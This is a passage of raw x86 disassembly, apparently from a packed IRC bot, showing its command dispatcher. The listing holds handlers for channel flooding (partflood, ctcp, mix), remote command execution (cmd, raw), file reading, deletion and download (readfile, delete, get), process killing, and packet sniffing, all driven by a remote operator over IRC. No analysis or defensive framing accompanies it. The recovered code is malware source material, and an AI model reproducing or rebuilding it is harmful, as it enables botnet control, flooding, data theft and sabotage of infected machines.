		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42BBC4
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_42BBC0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42D0F0 ; " "
		push	offset dword_42BBBC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBAC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_42BBA8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_42D0F0 ; " "
		push	offset dword_42BBBC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BB94
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_42D0F0 ; " "
		push	offset dword_42BBBC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_42D0F0 ; " "
		push	offset dword_42BBBC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		nop
		call	near ptr 2830E52h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BB24
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_42BB10
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_42BB0C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		nop
		call	near ptr 2830E52h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BAE4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h


loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_42BBAC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBAC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBAC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BA9C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA84
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA6C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA6C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BA9C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D46BC


loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4CB6BC


loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DADDC
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BA0C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------


loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_42B914


loc_405B66:				; DATA XREF: Themida_:00563E6Ao
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D7D8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]


loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8E4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		call	near ptr 282060Ah
		nop
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_405C30


loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------


loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		nop
		call	near ptr 2830047h
		push	eax
		push	offset dword_42B8A8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_42B86C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_42B840
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_42B818
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D7D8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]


loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
